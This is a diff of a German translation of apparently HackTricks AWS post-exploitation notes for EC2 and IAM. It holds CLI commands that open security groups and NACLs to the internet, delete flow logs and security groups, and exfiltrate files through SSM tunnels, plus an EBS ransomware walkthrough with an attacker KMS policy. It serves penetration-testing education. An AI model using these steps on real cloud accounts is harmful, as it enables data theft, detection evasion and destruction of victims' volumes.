Instances enthalten normalerweise irgendeine Form sensibler Informationen. Es gibt verschiedene Wege, hineinzukommen (siehe [EC2 privilege escalation tricks](../../aws-privilege-escalation/aws-ec2-privesc/README.md)). Eine andere Möglichkeit, den Inhalt zu prüfen, ist jedoch, **eine AMI zu erstellen und daraus eine neue Instance (auch in deinem eigenen Account) zu starten**:
Instances enthalten normalerweise eine Art sensible Informationen. Es gibt verschiedene Wege, um sich Zugriff zu verschaffen (siehe [EC2 privilege escalation tricks](../../aws-privilege-escalation/aws-ec2-privesc/README.md)). Eine andere Möglichkeit, um zu prüfen, was sie enthält, ist jedoch, **eine AMI zu erstellen und daraus eine neue instance (auch in Ihrem eigenen Account) zu starten**:
```shell
# List instances
aws ec2 describe-images
@@ -49,8 +49,8 @@ aws ec2 terminate-instances --instance-id "i-0546910a0c18725a1" --region eu-west
```
### EBS Snapshot dump
**Snapshots sind Backups von Volumes**, die in der Regel **sensible Informationen** enthalten; daher sollte deren Überprüfung solche Informationen offenlegen.\
Wenn Sie ein **Volume ohne Snapshot** finden, können Sie: einen **Snapshot erstellen** und die folgenden Aktionen durchführen oder es einfach in einer Instance im Account **mounten**:
**Snapshots sind Backups von volumes**, die normalerweise **sensible Informationen** enthalten; deshalb sollte eine Überprüfung diese Informationen offenlegen.\
Wenn Sie ein **volume ohne einen snapshot** finden, könnten Sie: **einen snapshot erstellen** und die folgenden Aktionen durchführen oder es einfach **in einer instance mounten** innerhalb des Accounts:
{{#ref}}
aws-ebs-snapshot-dump.md
@@ -58,7 +58,7 @@ aws-ebs-snapshot-dump.md
### Covert Disk Exfiltration via AMI Store-to-S3
Exportieren Sie ein EC2 AMI direkt zu S3 mit `CreateStoreImageTask`, um ein rohes Disk-Image ohne Snapshot-Freigabe zu erhalten. Dies ermöglicht vollständige Offline-Forensik oder Datendiebstahl, ohne das Instance-Netzwerk zu verändern.
Export an EC2 AMI straight to S3 using `CreateStoreImageTask` to obtain a raw disk image without snapshot sharing. Dies ermöglicht vollständige Offline-Forensik oder Datendiebstahl, während das instance networking unberührt bleibt.
{{#ref}}
aws-ami-store-s3-exfiltration.md
@@ -66,7 +66,7 @@ aws-ami-store-s3-exfiltration.md
### Live Data Theft via EBS Multi-Attach
Hängen Sie ein io1/io2 Multi-Attach-Volume an eine zweite Instance und mounten Sie es schreibgeschützt, um Live-Daten ohne Snapshots abzuziehen. Nützlich, wenn das Opfer-Volume bereits innerhalb derselben AZ Multi-Attach aktiviert hat.
Attach an io1/io2 Multi-Attach volume to a second instance and mount it read-only to siphon live data without snapshots. Nützlich, wenn das Opfer-volume bereits Multi-Attach in derselben AZ aktiviert hat.
{{#ref}}
aws-ebs-multi-attach-data-theft.md
@@ -74,7 +74,7 @@ aws-ebs-multi-attach-data-theft.md
### EC2 Instance Connect Endpoint Backdoor
Erstellen Sie einen EC2 Instance Connect Endpoint, autorisieren Sie Ingress und injizieren Sie temporäre SSH-Keys, um über einen gemanagten Tunnel auf private Instances zuzugreifen. Ermöglicht schnelle laterale Bewegungen, ohne öffentliche Ports zu öffnen.
Create an EC2 Instance Connect Endpoint, authorize ingress, and inject ephemeral SSH keys to access private instances over a managed tunnel. Ermöglicht schnelle lateral movement-Pfade, ohne öffentliche Ports zu öffnen.
{{#ref}}
aws-ec2-instance-connect-endpoint-backdoor.md
@@ -82,7 +82,7 @@ aws-ec2-instance-connect-endpoint-backdoor.md
### EC2 ENI Secondary Private IP Hijack
Verschieben Sie die sekundäre private IP einer Opfer-ENI auf eine vom Angreifer kontrollierte ENI, um vertrauenswürdige Hosts, die per IP allowgelistet sind, zu imitieren. Ermöglicht das Umgehen interner ACLs oder SG-Regeln, die an bestimmte Adressen gebunden sind.
Move a victim ENI’s secondary private IP to an attacker-controlled ENI to impersonate trusted hosts that are allowlisted by IP. Ermöglicht das Umgehen interner ACLs oder SG-Regeln, die auf bestimmte Adressen ausgerichtet sind.
{{#ref}}
aws-eni-secondary-ip-hijack.md
@@ -90,7 +90,7 @@ aws-eni-secondary-ip-hijack.md
### Elastic IP Hijack for Ingress/Egress Impersonation
Weisen Sie eine Elastic IP von der Opfer-Instance dem Angreifer zu, um eingehenden Traffic abzufangen oder ausgehende Verbindungen zu initiieren, die so aussehen, als kämen sie von vertrauenswürdigen öffentlichen IPs.
Reassociate an Elastic IP from the victim instance to the attacker to intercept inbound traffic or originate outbound connections that appear to come from trusted public IPs.
{{#ref}}
aws-eip-hijack-impersonation.md
@@ -98,7 +98,7 @@ aws-eip-hijack-impersonation.md
### Security Group Backdoor via Managed Prefix Lists
Wenn eine Security-Group-Regel auf eine vom Kunden verwaltete Prefix-Liste verweist, erweitert das Hinzufügen von Angreifer-CIDRs zur Liste stillschweigend den Zugriff für alle abhängigen SG-Regeln, ohne die SG selbst zu ändern.
If a security group rule references a customer-managed prefix list, adding attacker CIDRs to the list silently expands access across every dependent SG rule without modifying the SG itself.
{{#ref}}
aws-managed-prefix-list-backdoor.md
@@ -106,7 +106,7 @@ aws-managed-prefix-list-backdoor.md
### VPC Endpoint Egress Bypass
Erstellen Sie Gateway- oder Interface-VPC-Endpoints, um aus isolierten Subnetzen wieder ausgehenden Zugang zu erhalten. Die Nutzung von AWS-managed privaten Links umgeht fehlende IGW-/NAT-Kontrollen für die Datenexfiltration.
Create gateway or interface VPC endpoints to regain outbound access from isolated subnets. Die Nutzung von AWS-managed private links umgeht fehlende IGW/NAT-Kontrollen für data exfiltration.
{{#ref}}
aws-vpc-endpoint-egress-bypass.md
@@ -114,14 +114,12 @@ aws-vpc-endpoint-egress-bypass.md
### `ec2:AuthorizeSecurityGroupIngress`
Ein Angreifer mit der Berechtigung ec2:AuthorizeSecurityGroupIngress kann Security Groups inbound-Regeln hinzufügen (z. B. tcp:80 von 0.0.0.0/0), wodurch interne Dienste dem öffentlichen Internet oder anderweitig nicht autorisierten Netzwerken ausgesetzt werden.
Ein Angreifer mit der Berechtigung `ec2:AuthorizeSecurityGroupIngress` kann inbound-Regeln zu security groups hinzufügen (zum Beispiel `tcp:80` von `0.0.0.0/0` erlauben) und damit interne Services dem öffentlichen Internet oder sonst nicht autorisierten Netzwerken aussetzen.
```bash
aws ec2 authorize-security-group-ingress --group-id <sg-id> --protocol tcp --port 80 --cidr 0.0.0.0/0
```
# `ec2:ReplaceNetworkAclEntry`
Ein Angreifer mit ec2:ReplaceNetworkAclEntry (oder ähnlichen) Berechtigungen kann die Network ACLs (NACLs) eines Subnetzes so ändern, dass sie sehr permissiv werden — zum Beispiel 0.0.0.0/0 auf kritischen Ports erlauben — und dadurch den gesamten Subnetzbereich dem Internet oder unbefugten Netzsegmenten aussetzen.
Im Gegensatz zu Security Groups, die pro Instanz angewendet werden, gelten NACLs auf Subnetzebene. Das Ändern einer restriktiven NACL kann daher einen deutlich größeren Auswirkungsradius haben, da es den Zugriff auf viele weitere Hosts ermöglicht.
Ein Angreifer mit `ec2:ReplaceNetworkAclEntry` (oder ähnlichen) Berechtigungen kann die Network ACLs (NACLs) eines Subnets ändern, um sie sehr permissiv zu machen — zum Beispiel 0.0.0.0/0 auf kritischen Ports zu erlauben — und so den gesamten Subnetzbereich dem Internet oder nicht autorisierten Netzwerksegmenten auszusetzen. Im Gegensatz zu Security Groups, die pro Instanz angewendet werden, gelten NACLs auf Subnetzebene, sodass das Ändern einer restriktiven NACL einen deutlich größeren Wirkungsradius haben kann, da dadurch der Zugriff auf viele weitere Hosts ermöglicht wird.
```bash
aws ec2 replace-network-acl-entry \
--network-acl-id <ACL_ID> \
@@ -133,7 +131,7 @@ aws ec2 replace-network-acl-entry \
```
### `ec2:Delete*`
Ein Angreifer mit ec2:Delete* und iam:Remove* Rechten kann kritische Infrastrukturressourcen und -konfigurationen löschen — zum Beispiel key pairs, launch templates/versions, AMIs/snapshots, volumes oder attachments, security groups oder rules, ENIs/network endpoints, route tables, gateways oder managed endpoints. Dies kann sofortige Dienstunterbrechungen, Datenverlust und den Verlust forensischer Beweise verursachen.
Ein Angreifer mit ec2:Delete*- und iam:Remove*-Berechtigungen kann kritische Infrastrukturressourcen und -konfigurationen löschen — zum Beispiel key pairs, launch templates/versions, AMIs/snapshots, volumes oder attachments, security groups oder rules, ENIs/network endpoints, route tables, gateways oder managed endpoints. Dies kann sofortige Dienstunterbrechungen, Datenverlust und den Verlust forensischer Beweise verursachen.
Ein Beispiel ist das Löschen einer security group:
@@ -142,7 +140,7 @@ aws ec2 delete-security-group \
### VPC Flow Logs Cross-Account Exfiltration
Leite VPC Flow Logs auf einen vom Angreifer kontrollierten S3-Bucket, um Netzwerk-Metadaten (source/destination, ports) kontinuierlich außerhalb des Opfer-Accounts für langfristige reconnaissance zu sammeln.
Point VPC Flow Logs to an attacker-controlled S3 bucket to continuously collect network metadata (source/destination, ports) outside the victim account for long-term reconnaissance.
{{#ref}}
aws-vpc-flow-logs-cross-account-exfiltration.md
@@ -152,30 +150,30 @@ aws-vpc-flow-logs-cross-account-exfiltration.md
#### DNS Exfiltration
Selbst wenn Sie eine EC2 so absichern, dass kein Traffic nach außen kann, kann sie immer noch **exfil via DNS**.
Even if you lock down an EC2 so no traffic can get out, it can still **exfil via DNS**.
- **VPC Flow Logs werden dies nicht aufzeichnen**.
- Sie haben keinen Zugriff auf AWS DNS-Logs.
- Deaktivieren Sie dies, indem Sie "enableDnsSupport" auf false setzen mit:
- Du hast keinen Zugriff auf AWS DNS logs.
- Deaktiviere dies, indem du "enableDnsSupport" auf false setzt mit:
`aws ec2 modify-vpc-attribute --no-enable-dns-support --vpc-id <vpc-id>`
#### Exfiltration via API calls
Ein Angreifer könnte API-Endpunkte eines von ihm kontrollierten Accounts aufrufen. Cloudtrail wird diese Aufrufe protokollieren und der Angreifer wird die exfiltrate data in den Cloudtrail-Logs sehen können.
Ein Angreifer könnte API endpoints eines von ihm kontrollierten Accounts aufrufen. Cloudtrail wird diese Aufrufe protokollieren und der Angreifer wird die exfiltrate data in den Cloudtrail logs sehen können.
### Offene Security Group
### Open Security Group
Sie könnten weitergehenden Zugriff auf Netzwerkdienste erhalten, indem Sie Ports wie folgt öffnen:
Du könntest weiteren Zugriff auf network services erhalten, indem du Ports wie folgt öffnest:
```bash
aws ec2 authorize-security-group-ingress --group-id <sg-id> --protocol tcp --port 80 --cidr 0.0.0.0/0
# Or you could just open it to more specific ips or maybe th einternal network if you have already compromised an EC2 in the VPC
```
### Privesc to ECS
### Privesc zu ECS
Es ist möglich, eine EC2 instance zu betreiben und sie so zu registrieren, dass sie zum Ausführen von ECS instances verwendet wird, und anschließend die Daten der ECS instances zu stehlen.
Es ist möglich, eine EC2-Instanz zu starten und sie so zu registrieren, dass sie zum Ausführen von ECS-Instanzen verwendet wird, und dann die Daten der ECS-Instanzen zu stehlen.
Für [**weitere Informationen siehe hier**](../../aws-privilege-escalation/aws-ec2-privesc/README.md#privesc-to-ecs).
Für [**more information check this**](../../aws-privilege-escalation/aws-ec2-privesc/README.md#privesc-to-ecs).
### VPC flow logs entfernen
```bash
@@ -183,62 +181,62 @@ aws ec2 delete-flow-logs --flow-log-ids <flow_log_ids> --region <region>
```
### SSM Port Forwarding
Required permissions:
Erforderliche Berechtigungen:
- `ssm:StartSession`
Zusätzlich zur Befehlsausführung erlaubt SSM auch traffic tunneling, das missbraucht werden kann, um Pivoting von EC2-Instanzen durchzuführen, die aufgrund von Security Groups oder NACLs keinen Netzwerkzugriff haben.
Eines der Szenarien, in denen dies nützlich ist, ist das Pivoting von einem [Bastion Host](https://www.geeksforgeeks.org/what-is-aws-bastion-host/) zu einem privaten EKS-Cluster.
Neben der Befehlsausführung erlaubt SSM traffic tunneling, das missbraucht werden kann, um von EC2-Instanzen zu pivoten, die aufgrund von Security Groups oder NACLs keinen Netzwerkzugang haben.
Ein Szenario, in dem dies nützlich ist, ist das pivoting von einem [Bastion Host](https://www.geeksforgeeks.org/what-is-aws-bastion-host/) zu einem privaten EKS-Cluster.
> Um eine Session zu starten, müssen Sie das SessionManagerPlugin installiert haben: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html
> Um eine Sitzung zu starten, muss das SessionManagerPlugin installiert sein: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html
1. Installieren Sie das SessionManagerPlugin auf Ihrer Maschine
2. Melden Sie sich mit dem folgenden Befehl bei der Bastion EC2 an:
1. Installieren Sie das SessionManagerPlugin auf Ihrem Rechner
2. Melden Sie sich beim Bastion EC2 mit folgendem Befehl an:
```shell
aws ssm start-session --target "$INSTANCE_ID"
```
3. Hole die Bastion EC2 AWS temporären Anmeldeinformationen mit dem [Abusing SSRF in AWS EC2 environment](https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#abusing-ssrf-in-aws-ec2-environment) Skript
4. Übertrage die Anmeldeinformationen auf deinen eigenen Rechner in die Datei `$HOME/.aws/credentials` als Profil `[bastion-ec2]`
3. Hole die temporären AWS-Anmeldeinformationen des Bastion EC2 mit dem [Abusing SSRF in AWS EC2 environment](https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#abusing-ssrf-in-aws-ec2-environment) Skript
4. Übertrage die Zugangsdaten auf deine eigene Maschine in die `$HOME/.aws/credentials` Datei als Profil `[bastion-ec2]`
5. Melde dich bei EKS als Bastion EC2 an:
```shell
aws eks update-kubeconfig --profile bastion-ec2 --region <EKS-CLUSTER-REGION> --name <EKS-CLUSTER-NAME>
```
6. Aktualisiere das Feld `server` in der Datei `$HOME/.kube/config`, sodass es auf `https://localhost` zeigt
7. Erstelle einen SSM tunnel wie folgt:
6. Aktualisiere das `server`-Feld in der Datei `$HOME/.kube/config`, sodass es auf `https://localhost` zeigt
7. Erstelle einen SSM-Tunnel wie folgt:
```shell
sudo aws ssm start-session --target $INSTANCE_ID --document-name AWS-StartPortForwardingSessionToRemoteHost --parameters '{"host":["<TARGET-IP-OR-DOMAIN>"],"portNumber":["443"], "localPortNumber":["443"]}' --region <BASTION-INSTANCE-REGION>
```
Der Datenverkehr des Tools `kubectl` wird nun über den SSM-Tunnel durch die Bastion EC2 weitergeleitet, und Sie können von Ihrer eigenen Maschine aus auf den privaten EKS-Cluster zugreifen, indem Sie Folgendes ausführen:
8. Der Traffic des `kubectl`-Tools wird jetzt durch den SSM-Tunnel über die Bastion EC2 weitergeleitet und Sie können von Ihrem eigenen Rechner auf das private EKS-Cluster zugreifen, indem Sie Folgendes ausführen:
```shell
kubectl get pods --insecure-skip-tls-verify
```
Beachte, dass SSL-Verbindungen fehlschlagen, wenn du nicht das Flag `--insecure-skip-tls-verify` setzt (oder dessen Äquivalent in K8s audit tools). Da der Datenverkehr durch den sicheren AWS SSM tunnel geleitet wird, bist du vor jeglicher Art von MitM-Angriffen geschützt.
Beachte, dass SSL-Verbindungen fehlschlagen, sofern du nicht das Flag `--insecure-skip-tls-verify` setzt (oder das entsprechende in K8s Audit-Tools). Da der Datenverkehr durch den sicheren AWS SSM tunnel geleitet wird, bist du vor jeglichen MitM-Angriffen geschützt.
Abschließend ist diese Technik nicht auf Angriffe gegen private EKS-Cluster beschränkt. Du kannst beliebige Domains und Ports setzen, um zu jedem anderen AWS-Service oder einer eigenen Anwendung zu pivot.
Schließlich ist diese Technik nicht speziell auf Angriffe gegen private EKS-Cluster beschränkt. Du kannst beliebige Domains und Ports setzen, um zu jedem anderen AWS-Service oder einer eigenen Anwendung zu pivot.
---
#### Schnelles Lokal ↔️ Remote Port Forward (AWS-StartPortForwardingSession)
#### Quick Local ↔️ Remote Port Forward (AWS-StartPortForwardingSession)
Wenn du nur einen TCP-Port von der EC2 instance zu deinem lokalen Host weiterleiten musst, kannst du das SSM-Dokument `AWS-StartPortForwardingSession` verwenden (kein remote host Parameter erforderlich):
Wenn du nur **einen TCP-Port von der EC2 instance zu deinem lokalen Host** weiterleiten musst, kannst du das `AWS-StartPortForwardingSession` SSM document verwenden (kein remote host-Parameter erforderlich):
```bash
aws ssm start-session --target i-0123456789abcdef0 \
--document-name AWS-StartPortForwardingSession \
--parameters "portNumber"="8000","localPortNumber"="8000" \
--region <REGION>
```
Der Befehl richtet einen bidirektionalen Tunnel zwischen deiner Workstation (`localPortNumber`) und dem ausgewählten Port (`portNumber`) auf der Instance ein **ohne eingehende Security-Group-Regeln zu öffnen**.
Der Befehl stellt einen bidirektionalen Tunnel zwischen deiner Arbeitsstation (`localPortNumber`) und dem ausgewählten Port (`portNumber`) auf der Instanz **ohne irgendwelche inbound Security-Group rules zu öffnen** her.
Häufige Anwendungsfälle:
Common use cases:
* **File exfiltration**
1. Auf der Instance starte einen schnellen HTTP-Server, der auf das Verzeichnis zeigt, das du exfiltrieren möchtest:
1. Auf der Instanz einen schnellen HTTP-Server starten, der auf das Verzeichnis zeigt, das du exfiltrate möchtest:
```bash
python3 -m http.server 8000
```
2. Von deiner Workstation lade die Dateien über den SSM-Tunnel herunter:
2. Von deiner Arbeitsstation aus die Dateien durch den SSM tunnel abrufen:
```bash
curl http://localhost:8000/loot.txt -o loot.txt
@@ -252,7 +250,7 @@ aws ssm start-session --target i-0123456789abcdef0 \
--parameters "portNumber"="8834","localPortNumber"="8835"
# Browse to http://localhost:8835
```
Tipp: Compress und encrypt Beweise vor dem exfiltrating, damit CloudTrail den clear-text content nicht protokolliert:
Tipp: Komprimiere und verschlüssele Beweise, bevor du sie exfiltrating, damit CloudTrail den Klartext nicht protokolliert:
```bash
# On the instance
7z a evidence.7z /path/to/files/* -p'Str0ngPass!'
@@ -263,7 +261,7 @@ aws ec2 modify-image-attribute --image-id <image_ID> --launch-permission "Add=[{
```
### Nach sensiblen Informationen in öffentlichen und privaten AMIs suchen
- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovel ist ein Tool, das dafür entwickelt wurde, **in öffentlichen oder privaten Amazon Machine Images (AMIs) nach sensiblen Informationen zu suchen**. Es automatisiert den Prozess, Instances aus Ziel-AMIs zu starten, deren Volumes zu mounten und nach potenziellen secrets oder sensiblen Daten zu scannen.
- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovel ist ein Tool, das dazu entwickelt wurde, **nach sensiblen Informationen innerhalb öffentlicher oder privater Amazon Machine Images (AMIs) zu suchen**. Es automatisiert den Prozess, Instanzen aus Ziel-AMIs zu starten, deren Volumes einzuhängen und nach potenziellen Secrets oder sensiblen Daten zu scannen.
### EBS Snapshot teilen
```bash
@@ -271,9 +269,9 @@ aws ec2 modify-snapshot-attribute --snapshot-id <snapshot_ID> --create-volume-pe
```
### EBS Ransomware PoC
Ein Proof-of-Concept, ähnlich der Ransomware-Demonstration in den S3 post-exploitation notes. KMS sollte angesichts der Einfachheit, mit der es zum Verschlüsseln verschiedener AWS-Services verwendet werden kann, in RMS (Ransomware Management Service) umbenannt werden.
Ein Proof-of-Concept, ähnlich der Ransomware-Demonstration in den S3 post-exploitation notes. KMS sollte wegen der Einfachheit, mit der es zur Verschlüsselung verschiedener AWS-Services verwendet werden kann, in RMS für Ransomware Management Service umbenannt werden.
Zuerst: Erstelle von einem 'attacker' AWS-Account aus einen customer managed key in KMS. Für dieses Beispiel lasse ich AWS die Key-Daten verwalten, aber in einem realistischen Szenario würde ein böswilliger Akteur die Key-Daten außerhalb der Kontrolle von AWS behalten. Ändere die Key-Policy so, dass jeder AWS-Account Principal den Key verwenden darf. In dieser Key-Policy hieß das Konto 'AttackSim' und die Policy-Regel, die vollen Zugriff erlaubt, heißt 'Outside Encryption'.
Zuerst, aus einem 'attacker' AWS account, erstelle einen customer managed key in KMS. Für dieses Beispiel lasse ich AWS die key data verwalten; in einem realistischen Szenario würde ein böswilliger Akteur die key data außerhalb der Kontrolle von AWS aufbewahren. Ändere die key policy so, dass jeder AWS account Principal den key verwenden kann. Für diese key policy trug das Konto den Namen 'AttackSim' und die Policy-Regel, die vollen Zugriff erlaubt, heißt 'Outside Encryption'.
```
{
"Version": "2012-10-17",
@@ -365,7 +363,7 @@ Zuerst: Erstelle von einem 'attacker' AWS-Account aus einen customer managed key
]
}
```
Die Key-Policy-Regel muss Folgendes aktivieren, damit sie verwendet werden kann, um ein EBS-Volume zu verschlüsseln:
Die Key-Policy muss die folgenden Rechte aktiviert haben, damit sie verwendet werden kann, um ein EBS-Volume zu verschlüsseln:
- `kms:CreateGrant`
- `kms:Decrypt`
@@ -373,21 +371,21 @@ Die Key-Policy-Regel muss Folgendes aktivieren, damit sie verwendet werden kann,
- `kms:GenerateDataKeyWithoutPlainText`
- `kms:ReEncrypt`
Now with the publicly accessible key to use. We can use a 'victim' account that has some EC2 instances spun up with unencrypted EBS volumes attached. This 'victim' account's EBS volumes are what we're targeting for encryption, this attack is under the assumed breach of a high-privilege AWS account.
Nachdem der öffentlich zugängliche Key verfügbar ist, können wir ein 'victim'-Konto verwenden, das einige EC2-Instanzen mit angehängten unverschlüsselten EBS-Volumes laufen hat. Die EBS-Volumes dieses 'victim'-Kontos sind das Ziel der Verschlüsselung; dieser Angriff geht von einem angenommenen Kompromiss eines hoch privilegierten AWS-Kontos aus.
![Pasted image 20231231172655](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/5b9a96cd-6006-4965-84a4-b090456f90c6) ![Pasted image 20231231172734](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/4294289c-0dbd-4eb6-a484-60b4e4266459)
Ähnlich wie beim S3 ransomware Beispiel. Dieser Angriff erzeugt Kopien der angehängten EBS-Volumes als snapshots, verwendet den öffentlich verfügbaren key aus dem 'attacker' Konto, um die neuen EBS-Volumes zu verschlüsseln, trennt dann die originalen EBS-Volumes von den EC2-Instanzen und löscht sie, und entfernt schließlich die snapshots, die für die Erstellung der neu verschlüsselten EBS-Volumes verwendet wurden. ![Pasted image 20231231173130](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/34808990-2b3b-4975-a523-8ee45874279e)
Ähnlich dem S3-Ransomware-Beispiel. Dieser Angriff erstellt Kopien der angehängten EBS-Volumes mittels Snapshots, verwendet den öffentlich verfügbaren Key aus dem 'attacker'-Konto, um die neuen EBS-Volumes zu verschlüsseln, hängt dann die Original-EBS-Volumes von den EC2-Instanzen ab und löscht sie und löscht abschließend die Snapshots, die zur Erstellung der neu verschlüsselten EBS-Volumes verwendet wurden. ![Pasted image 20231231173130](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/34808990-2b3b-4975-a523-8ee45874279e)
Ergebnis: Im Konto sind danach nur noch verschlüsselte EBS-Volumes verfügbar.
Das Ergebnis sind nur noch verschlüsselte EBS-Volumes im Konto.
![Pasted image 20231231173338](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/eccdda58-f4b1-44ea-9719-43afef9a8220)
Ebenfalls erwähnenswert: Das Script hat die EC2-Instanzen gestoppt, um die originalen EBS-Volumes zu trennen und zu löschen. Die ursprünglichen unverschlüsselten Volumes sind jetzt verschwunden.
Ebenfalls bemerkenswert: Das Script stoppte die EC2-Instanzen, um die Original-EBS-Volumes zu trennen und zu löschen. Die ursprünglichen unverschlüsselten Volumes sind jetzt verschwunden.
![Pasted image 20231231173931](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/cc31a5c9-fbb4-4804-ac87-911191bb230e)
Als Nächstes kehren Sie zur Key-Policy im 'attacker' Konto zurück und entfernen die 'Outside Encryption' Policy-Regel aus der Key-Policy.
Als Nächstes kehren Sie zur Key-Policy im 'attacker'-Konto zurück und entfernen die 'Outside Encryption'-Policy-Regel aus der Key-Policy.
```json
{
"Version": "2012-10-17",
@@ -458,15 +456,15 @@ Als Nächstes kehren Sie zur Key-Policy im 'attacker' Konto zurück und entferne
]
}
```
Warte einen Moment, bis die neu gesetzte key policy propagiert ist. Kehre dann zum 'victim' Account zurück und versuche, eines der neu verschlüsselten EBS-Volumes anzuhängen. Du wirst feststellen, dass du das Volume anhängen kannst.
Warte einen Moment, bis die neu gesetzte Schlüsselrichtlinie sich verbreitet hat. Kehre dann zum 'Opfer'-Account zurück und versuche, eines der neu verschlüsselten EBS-Volumes anzuhängen. Du wirst feststellen, dass du das Volume anhängen kannst.
![Pasted image 20231231174131](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/ba9e5340-7020-4af9-95cc-0e02267ced47) ![Pasted image 20231231174258](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/6c3215ec-4161-44e2-b1c1-e32f43ad0fa4)
Aber wenn du versuchst, die EC2-Instance mit dem verschlüsselten EBS-Volume tatsächlich wieder zu starten, schlägt das einfach fehl und die Instance wechselt vom 'pending'-Zustand zurück in den 'stopped'-Zustand — dauerhaft — da das angehängte EBS-Volume nicht mit dem Key entschlüsselt werden kann, weil die key policy das nicht mehr erlaubt.
Aber wenn du versuchst, die EC2-Instanz mit dem verschlüsselten EBS-Volume tatsächlich wieder zu starten, wird das einfach fehlschlagen und sofort vom 'pending'-Zustand wieder in den 'stopped'-Zustand zurückfallen, da das angehängte EBS-Volume mit dem Key nicht entschlüsselt werden kann, weil die Schlüsselrichtlinie dies nicht mehr erlaubt.
![Pasted image 20231231174322](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/73456c22-0828-4da9-a737-e4d90fa3f514) ![Pasted image 20231231174352](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/4d83a90e-6fa9-4003-b904-a4ba7f5944d0)
Das ist das verwendete python script. Es nimmt AWS-Creds für einen 'victim'-Account und einen öffentlich verfügbaren AWS ARN-Wert für den Key, der zur Verschlüsselung verwendet werden soll. Das Script erstellt verschlüsselte Kopien ALLER verfügbaren EBS-Volumes, die an ALLE EC2-Instances im Ziel-AWS-Account angehängt sind, stoppt dann jede EC2-Instance, hängt die originalen EBS-Volumes ab, löscht sie und entfernt schließlich alle während des Prozesses verwendeten Snapshots. Dadurch bleiben im Ziel-'victim'-Account nur noch verschlüsselte EBS-Volumes übrig. NUR IN EINER TESTUMGEBUNG VERWENDEN, DAS SCRIPT IST DESTRUKTIV UND LÖSCHT ALLE ORIGINALEN EBS-VOLUMES. Du kannst sie mit dem verwendeten KMS-Key wiederherstellen und über Snapshots in ihren ursprünglichen Zustand zurückversetzen, aber ich möchte dich darauf hinweisen, dass dies am Ende des Tages ein ransomware PoC ist.
Dies ist das verwendete python-Skript. Es nimmt AWS creds für einen 'Opfer'-Account und einen öffentlich verfügbaren AWS ARN-Wert für den Key, der zur Verschlüsselung verwendet werden soll. Das Skript erstellt verschlüsselte Kopien ALLER verfügbaren EBS-Volumes, die an ALLE EC2-Instanzen im Ziel-AWS-Account angehängt sind, stoppt dann jede EC2-Instanz, hängt die originalen EBS-Volumes ab, löscht sie und entfernt schließlich alle während des Prozesses verwendeten snapshots. Dadurch bleiben im Ziel-'Opfer'-Account nur noch verschlüsselte EBS-Volumes übrig. NUTZE DIESES SKRIPT NUR IN EINER TESTUMGEBUNG, ES IST DESTRUKTIV UND WIRD ALLE ORIGINALEN EBS-VOLUMES LÖSCHEN. Du kannst sie mit dem verwendeten KMS key wiederherstellen und über snapshots in ihren ursprünglichen Zustand zurücksetzen, aber ich möchte dich nur darauf hinweisen, dass dies letztlich ein ransomware PoC ist.
```
import boto3
import argparse

46
src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation/README.md
View File

@@ -4,7 +4,7 @@
## IAM
Für weitere Informationen zum IAM-Zugriff:
Für mehr Informationen über IAM-Zugriff:
{{#ref}}
../../aws-services/aws-iam-enum.md
@@ -12,13 +12,13 @@ Für weitere Informationen zum IAM-Zugriff:
## Confused Deputy Problem
Wenn Sie einem **externen Konto (A)** erlauben, auf eine **role** in Ihrem Konto zuzugreifen, haben Sie wahrscheinlich **keine Sichtbarkeit** darüber, **wer genau auf dieses externe Konto zugreifen kann**. Das ist ein Problem, denn wenn ein anderes externes Konto (B) Zugriff auf das externe Konto (A) hat, ist es möglich, dass **B ebenfalls auf Ihr Konto zugreifen kann**.
Wenn Sie einem **externen Konto (A)** erlauben, auf eine **role** in Ihrem Account zuzugreifen, haben Sie vermutlich **0 Sichtbarkeit** darüber, **wer genau auf dieses externe Konto zugreifen kann**. Das ist ein Problem, denn wenn ein anderes externes Konto (B) Zugriff auf das externe Konto (A) hat, ist es möglich, dass **B auch auf Ihr Konto zugreifen kann**.
Deshalb ist es beim Gewähren eines Zugriffs für ein externes Konto auf eine role in Ihrem Konto möglich, eine `ExternalId` anzugeben. Dies ist eine "geheime" Zeichenkette, die das externe Konto (A) angeben muss, um **assume the role in your organization**. Da das **externe Konto B diese Zeichenkette nicht kennt**, kann es selbst bei Zugriff auf A **nicht auf Ihre role zugreifen**.
Deshalb ist es beim Zulassen eines externen Kontos zum Zugriff auf eine role in Ihrem Account möglich, eine `ExternalId` anzugeben. Dies ist ein "geheimer" String, den das externe Konto (A) **angeben muss**, um die **role in Ihrer Organisation zu übernehmen**. Da das **externe Konto B diesen String nicht kennt**, wird es selbst bei Zugriff auf A **nicht in der Lage sein, auf Ihre role zuzugreifen**.
<figure><img src="../../../images/image (95).png" alt=""><figcaption></figcaption></figure>
Beachten Sie jedoch, dass dieses `ExternalId`-"Geheimnis" **kein Geheimnis** ist — jeder, der die **IAM assume role policy lesen kann, wird es sehen können**. Solange jedoch das externe Konto A die Zeichenkette kennt und das externe Konto **B sie nicht kennt**, **verhindert es, dass B A missbraucht, um auf Ihre role zuzugreifen**.
Beachten Sie jedoch, dass dieses `ExternalId`-"Geheimnis" **kein Geheimnis** ist — jeder, der die IAM assume role policy lesen kann, wird es sehen können. Aber solange das externe Konto A es kennt, das externe Konto **B es jedoch nicht kennt**, verhindert es, dass **B A missbraucht, um auf Ihre role zuzugreifen**.
Beispiel:
```json
